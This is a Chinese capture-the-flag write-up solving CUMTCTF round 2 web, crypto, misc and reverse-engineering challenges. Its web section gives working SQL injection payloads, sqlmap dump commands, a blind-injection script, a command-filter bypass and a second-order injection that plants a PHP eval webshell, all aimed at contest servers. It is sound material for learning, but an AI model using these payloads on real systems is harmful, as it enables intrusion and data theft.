CUMTCTF第二轮月赛

前言

本次题目比较简单,有幸ak了web,可惜还是没进前三,二进制和pwn做的太差了,区块链也没做出来,要是做出来就前三了,有时间还是要学习一下区块链。

web

签到题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
$white_list = range(0,9);
require_once('flag.php');
if(isset($_REQUEST['0ver']) && isset($_REQUEST['0ver1']) && isset($_REQUEST['0ver2'])){
$a = $_REQUEST['0ver'];
$b = $_REQUEST['0ver1'];
$c = $_REQUEST['0ver2'];
if(@ereg("^[0-9]+$", $a) === FALSE){
echo 'no must be number';
}else{
if(in_array($a,$white_list)){
if(strlen($a)>1){
if(md5($c) === md5($b) && ($b !== $c)){
echo "<img src='dark.png'><br>";
echo 'you are a great dark phper<br>';
echo $flag;
}
else{
echo "you can do it!!!";
}

}else{
echo 'you no dark';
}
}else{
echo 'you are so dark';
}
}
}else
highlight_file(__FILE__);

很简单的代码审计题目,第一次绕过要求0ver是数字0-9以内的整数,但是长度却要大于1位,使用 03类似的即可绕过,也可以使用%00截断,第二层要求两个相同md5值的文件(不是弱类型比较),这样的文件也是有的,记得强网杯好像就有类似的题目,参考一下即可

paylaod:

1
curl -v http://202.119.201.199:32790?0ver=02 --data "0ver1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&0ver2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2"
1
flag:flag{73100259ca8919f402846b00d3b939a9}

SimpleUpload

查看源码可知发现前端验证设置了白名单,只允许上传.jpg|.png|.gif。

这里需要绕过前端验证,上传1.jpg,利用burp截断修改后缀名为1.php。

小型线上赌场

题目提示了断电,应该是vi文件泄露,测试发现 .index.swp存在泄露,vim恢复一下

1
vi -r index.swp

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$invest = $_GET['invest'];
$rand = rand(2,50);
$len = strlen(trim($_GET['invest']));
foreach ($_GET as $key => $value) {
if(!is_numeric($value)||$value == '0'){
die('no no no!');
}
}
$money = number_format($invest*$rand);
$money = intval(str_replace(',','',$money));
$guess = intval($_GET['guess']);
if ($guess == $money && strlen($money)===$len) {
echo $flag;
}

代码思路是提交invest值,然后乘以一个2-50之间的随机数与我们猜测的相等即可得到flag,直接多次尝试爆破即可,即每次都提交invest值为2,guess值为6,只要某次随机数为3的时候即可得到flag

抓包爆破

flag

1
flag{7e1e2bfe75c980be35c61ed1bde7a6f2}

SimpleSQLi

1
python sqlmap.py -u http://bxs.cumt.edu.cn:30007/test/index.php?id=1 --dbs

数据库名为security

1
python sqlmap.py -u http://bxs.cumt.edu.cn:30007/test/index.php?id=1 -D security --tables

表名flagishere

1
python sqlmap.py -u http://bxs.cumt.edu.cn:30007/test/index.php?id=1 -D security -T flagishere --columns --threads=10

列名id,flag

1
python sqlmap.py -u http://bxs.cumt.edu.cn:30007/test/index.php?id=1 -D security -T flagishere -C "id,flag" --dump --threads=10
1
flag{4ur0Ra_SimPlE_sQLi_23333}

真的简单。。

随手fuzz一下

1
http://202.119.201.199:32793/list.php?id=1%27

报错

1
http://202.119.201.199:32793/list.php?id=1%27--+

可以正常返回,猜测是单引号注入

1
http://202.119.201.199:32793/list.php?id=-1%27%20or%201=1--+

无正确回显,猜测可能是or有问题,换 || 试一下

1
http://202.119.201.199:32793/list.php?id=-2%27 || 3=length(database())--+

果然返回正确,数据库长度为3

题目过滤了or,但是可以绕过

1
http://202.119.201.199:32793/list.php?id=-1%27%20oorr%201=1--+

爆列数

1
http://202.119.201.199:32793/list.php?id=-2%27 || 3=3 oorrder by 3--+

共有三列

1
http://202.119.201.199:32793/list.php?id=-2%27 || 3=2 ununionion selselectect 1,database(),3--+

database:ctf

接下来就是常规的注入了

1
http://202.119.201.199:32793/list.php?id=-2%27 || 3=2 ununionion selselectect 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database()--+

table:ctf,flag

1
http://202.119.201.199:32793/list.php?id=-2%27 || 3=2 ununionion selselectect 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_schema=database()--+

列名:id,flag

1
http://202.119.201.199:32793/list.php?id=-2%27 || 3=2 ununionion selselectect 1,flag,3 from flag--+

居然还有题目..

flag in admin_08163314/exec.php

访问一下,是个命令执行界面,过滤了空格,可用$IFS绕过,尝试列根目录但是失败了,猜测可能是/被过滤了,但是 * .没有被过滤,可以用来读文件exec.php

可以得到源码

1
2
3
4
5
6
7
8
9
10
11
<?php
function waf_exec($str){
$black_str = "/(;|&|>|}|{|%|#|!|\?|@|\+|\/| )/i";
$str = preg_replace($black_str, "",$str);
return $str;
}

if (@$_POST['cmd']) {
$cmd = waf_exec($_POST['cmd']);
system($cmd);
}

知道了过滤规则就好办了,接下里可以用base64编码绕过,列根目录

注意这里的flag_3314是个目录,还得继续列目录

1
flag{3570d4d9c72a19c889140674827eeca5}

SimpleSQLi2

fuzz测试了一下感觉是数字型注入

1
http://bxs.cumt.edu.cn:30010/test/index.php?id=-1%20||%201=1

接下来测试过滤规则

1
http://bxs.cumt.edu.cn:30010/test/index.php?id=2>2 || length('seleselectct')=6

测试发现过滤了 select,or,空格,空格可用/**/绕过,select等可双写绕过,接下来只需要编写盲注脚本即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

words = "2019~"
url = "http://bxs.cumt.edu.cn:30010/test/index.php?id="
table = ""

# payload = "2>2/**/||/**/ascii(substr((seselectlect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()),{},1))={}"
# emails,flagishere,referers,uagents,users

# payload = "2>2/**/||/**/ascii(substr((seselectlect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='flagishere'),{},1))={}"
# Id,flag

payload = "2>2/**/||/**/ascii(substr((seselectlect/**/flag/**/from/**/flagishere),{},1))={}"

for j in range(1,60):
for i in range(34,128):
res = requests.get(url+payload.format(j,i)).text
if words in res:
table += chr(i)
print(table)
break

可以得到flag如下

1
flag{4nother_SimPLE_SQLi_0rek1}

后来和出题人交流了一下,思路非预期2333~

文件管理系统

网站有主要功能是上传文件和修改、删除文件,过滤了php等相关的文件名,无法绕过,原本的我的思路是上传一个xxxx.jpg,然后修改文件名,通过修改文件名为 xxxx.php%00.jpg 或者其它方法截断后面的jpg后缀,结果尝试了各种姿势都未果,无可奈何之下扫了一波目录,结果柳暗花明,得到了源码www.zip

核心代码如下

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
require_once "common.inc.php";
define('ROOT',dirname(__FILE__).'/');
if($_FILES)
{
$file = $_FILES["upfile"];
if($file["error"] == UPLOAD_ERR_OK) {
$name = basename($file["name"]);
$path_parts = pathinfo($name);
if(!in_array($path_parts["extension"], array("gif", "jpg", "png", "zip", "txt"))) {
exit("error extension");
}
$path_parts["extension"] = "." . $path_parts["extension"];
$name = $path_parts["filename"] . $path_parts["extension"];
$path_parts['filename'] = addslashes($path_parts['filename']);
$sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";
$fetch = $db->query($sql);
if($fetch->num_rows>0) {
exit("file is exists");
}
//echo $file["tmp_name"], ROOT . UPLOAD_DIR . $name;
if(move_uploaded_file($file["tmp_name"], ROOT . UPLOAD_DIR . $name)) {

$sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";
$re = $db->query($sql);
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$url = "/" . UPLOAD_DIR . $name;
echo "Your file is upload, url:
<a href=\"{$url}\" target='_blank'>{$url}</a><br/>
<a href=\"/\">go back</a>";
} else {
exit("upload error");
}
} else {
print_r(error_get_last());
exit;
}
}
```

rename.php

```php
require_once "common.inc.php";
define('ROOT',dirname(__FILE__).'/');
if(isset($req['oldname']) && isset($req['newname'])) {
$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");
if ($result->num_rows>0) {
$result = $result->fetch_assoc();
}else{
exit("old file doesn't exists!");
}
if($result) {
$req['newname'] = basename($req['newname']);
$re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");
if(!$re) {
print_r($db->errorInfo());
exit;
}
$oldname = ROOT.UPLOAD_DIR . $result["filename"].$result["extension"];
$newname = ROOT.UPLOAD_DIR . $req["newname"].$result["extension"];
if(file_exists($oldname)) {
rename($oldname, $newname);
$url = "/" . $newname;
echo "Your file is rename, url:
<a href=\"{$url}\" target='_blank'>{$url}</a><br/>
<a href=\"/\">go back</a>";
}
else{echo $oldname." not exists.";}
}
}
?>

由代码可以看出,题目是通过数据库来拼凑最终的文件名,审计了下代码没发现什么有用的思路,google了一下居然找到了原题!!2233 http://drops.xmd5.com/static/drops/tips-10564.html,而且还给出了攻击流程,本题是个二次注入。

题目使用了白名单过滤,所以所以无法通过后缀名绕过,而题目,漏洞发生在rename.php页面中,实现重命名功能时,在数据库中以文件名来查询,获取文件扩展名,id等信息,然后我们输入的新的文件名和查询的文件扩展名拼接在一起完成重命名,如果我们能够使查询的文件扩展名为空,那么拼接之后就只剩下我们的文件名了,通过这种方法可以实现修改文件名后缀的目的,攻击流程如下

  1. 选择一个文件上传,命名为 ',extension='',filename='snow.jpg.jpg,此时执行的sql语句是insert into file ( filename, view, extension) values( ‘{$path_parts[‘filename’]}’, 0, ‘{$path_parts[‘extension’]}’),此时的数据库中filename-->',extension='',filename='snow.jpgextension-->jpg

  2. 利用update更新是的后缀名为空,old name: ',extension='',filename='snow.jpg;new name: snow.jpg,此时执行的sql命令变成
    update file set filename=’snow.jpg’,oldname=’’,extension=’’,filename=’snow.jpg.jpg’ where fid={$result[‘fid’]}; ,这样的话数据库中就有文件名为 snow.jpg,后缀名为空的记录,但是实际的文件名却是snow.jpg.jpg

  3. 上传真正包含shell的文件<?php @eval($_POST['snow']);?> ,命名为snow.jpg,数据库中的记录是文件名为snow,扩展名为jpg,

  4. 使用rename重命名 old name: snow.jpgnew name: snow.php,此时修改的是文件名是snow.jpg,后缀名为空,此时修改文件名为snow.php,后缀名为空,拼接后就是成功地更名为snow.php,然后访问snow.php即可getshell。

1
flag{f34f8aa6cd362582dd1ae5f975c7b20f}

crypto

现代密码签到

利用在线des解密,密钥为空。
解密后发现
U2FsdGVkX18968C+7acWUzWtYyuQd2MFLMh0HnGGnMlmYlemknPnfg==
是base64编码,将所得结果再次解密得到flag

古典密码签到

看到字符串带=,猜测是base系列编码,解密发现是base32编码 ^pho^oav`\ntZnj`\ntZZZcccx ,之后就是移位密码了,当偏移量是5的时候解密出有意义的明文

1
2
3
4
5
6
s = "xxxxxxxxxxxxx"
flag = ""
for i in s:
flag += chr(ord(i)+5)
print(flag)
```

cumtctf{easy_soeasy___hhh}

1
2
3
4
5
6
7
8
9
10
11
12
13
14

## easyrsa

本题e很小,联想到应该是低指数攻击,本来以为是16进制,但是一直不对,细看了一下发现只有0-9和A,b共12个字符,猜测应该是12进制,尝试了一下果然就是12进制

```python
# coding=utf-8
import gmpy2
e = 5
# 读入 n, 密文
n = int('36004b9A985A624479A4891b16130722A5A7453989bA61737A226368504A5689381236451796A445824b5A516b176b40135935b0b8999046154359b0560537100289b9795129505b461542A4897A56561529A705135AA772507bb3172b03b3425A99224b68b45b801459b29A070bAb9408761b4A70b905308772472934486924bA17013A2A801041A05178b0488AA5',12)
c = int('411A016A671768793b5AAbA4A043001A468b8A9A6122290461266393181b021812b6AAbAA1b57161bAA300321174154862338b0098249626A93116b34752540987309A08520bb6780804b5679144173Ab7301b49322587504A75A7A2445928A07A650bb6076bA3412b1375205336b43A11A1510A22893b937065',12)
m, b = gmpy2.iroot(c, e)
print hex(m)[2:].decode('hex')

flag如下:

1
cumtctf{12_jinzhi_rsa}

playfir

题目提示很明显,playfire密码爆破,可以看到秘钥是四位,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# playfair
import string
import itertools

# 返回该字符的行号和列号
def get_row_col(word,pass_table):
li = pass_table.index(word)
li_r = li // 5
li_c = li % 5
return (li_r,li_c)

# 输入两个元素的坐标,得到解密对应的两个元素
def get_dou_word(r1,c1,r2,c2):
if r1 == r2:
c1 = (c1-1) % 5
c2 = (c2-1) % 5
return [(r1,c1),(r2,c2)]
elif c1 == c2:
r1 = (r1-1) % 5
r2 = (r2-1) % 5
return [(r1,c1),(r2,c2)]
else:
return [(r1,c2),(r2,c1)]

# 解密函数
def decrypt(cip,keyword):
# global pass_table
alpha = list(string.ascii_uppercase)
alpha.remove('J')
for i in keyword:
if i == "J":
continue
alpha.remove(i)
pass_table = list(keyword) + alpha
plain = ""
for i in range(len(cip)//2):
grp = cip[i*2:i*2+2]
r1,c1 = get_row_col(grp[0],pass_table)
r2,c2 = get_row_col(grp[1],pass_table)
temp = get_dou_word(r1,c1,r2,c2)
p1 = temp[0][0]*5 + temp[0][1]
p2 = temp[1][0]*5 + temp[1][1]
plain += pass_table[p1] + pass_table[p2]
return plain

for sss in itertools.permutations(string.ascii_uppercase,4):
now_key = "".join(sss)
cip1 = "DMBCCVTLMNKQ"
cip2 = "LRBECXPTCPHU"
t1 = decrypt(cip1,now_key)
t2 = decrypt(cip2,now_key)
if "FLAGA" in t1:
print(t1)
continue
elif "FLAGB" in t2:
print(t2)
continue

可以得到爆破出来符合条件的明文,找出语义正确的即可

flagaplayfirflagbyoudoit

求出md5值即可

1
flag{355c1fb44b58ad7c38d88b5ba4f095b0}

MISC

misc签到

解压之后给出了5个图片文件:

文件夹名是braille,想到了盲文,搜索盲文对照表

根据解压文件夹的提示可以对照出flag是B1ind。

base全家桶了解一下??

应该就是base编码的转换,尝试一下不同的base编码即可

第一层base64

1
GY3DMQZWGE3DON2CGU3TMNJWIM3DGMZQGZCDMNJVIY3TIMZQGMYDKRRWGM3TKNSEG42DMMZXGQ3DMN2E

第二层base32

1
666C61677B57656C63306D655F7430305F63756D746374667D

第三层base16

1
flag{Welc0me_t00_cumtctf}

BXS图标真好看

记事本打开发现是一个二进制文件,file命令查看一下文件类型

BXS.txt: PNG image data, 495 x 422, 8-bit/color RGBA, non-interlaced

修改后缀为png,看到一串文字fgoo kwnl{_u n_gaDy_ 0p},提示古典加密,猜测是栅栏密码,因为字符串长度是21,所以应该分三栏

1
flag{Do_you_kn0w_png}

矿大校歌认真听听吧?

下载zip压缩包,解压后需要密码,在16进制编辑器文件尾部看到cumtctf2019,解压即可得到一个mp3文件,音频也没有什么异常,应该是mp3隐写了https://ctf-wiki.github.io/ctf-wiki/misc/audio/introduction/#_2,运行尝试一下

1
Decode.exe -X -P cumtctf2019 cumt.mp3
1
flag{cumtctf_1s_v3ry_g00d!}

起床改error啦!

binwalk查看图片发现存在zip压缩包,提取一下

1
2
binwalk 2333.png
foremost 2333.png

解压压缩包可以得到一个doc文件,在选项中查看隐藏文字即可看到flag

RE

逆向签到

直接丢进IDA查看,查看伪代码:

可以看到这些变量占用了4个字节来存储。

这里的v35是100以内的任何数,也就是说可以通过爆破的方式来求得v35的值。

查看check函数,s里面的数字应该和从v5开始,地址每加上4LL的值相等。也就是说在29位的flag里面,每一位的值和v5-v34相等。所以写一个简单的脚本即可爆破出来。

1
2
3
4
5
6
7
8
#coding:utf-8
v5 = [53,63,50,52,40,1,50,61,55,99,62,118,98,60,60,12,106,58,37,54,12,38,12,102,48,60,33,54,46]

for i in range(0,100):
res = ""
for j in range(0,29):
res += chr(v5[j]^i)
print res

运行结果:

Eazy_Math

同样的,还是丢进IDA中查看伪代码:

flag有9位,在经过String2Int和Change两个函数的变换后,如果check成功,即可成功。

首先查看String2Int函数:

img

这个函数的作用就是将s里面的字符内容转换成int型的数值存储在v14-v18中。

查看Check函数后,可以轻易看出check的内容就是将变换后的9位与v2-v10相比较。

最后是Change函数:

第一个双层循环将a3里面的数值置为0,也就是v4里面的值。第二个三重循环可以拆开来看。前两个变量i和j总共循环9次,代表着算出v4里面的数值。最后一个循环变量m则是计算的过程。这里不妨设9个未知数A,B,C,D,E,F,G,H,I。经过推算,3*k+m 是每次取三个连续的数,3*m+1是每次取0,3,6或1,4,7或2,5,8。这里代表着取v5-v13里面的数值。分析之后可以列出三个方程组:

简单的方程组求得A-G的9个值转化为字符即为flag。

-------------本文结束感谢您的阅读-------------
您今天怎么辣么迷人!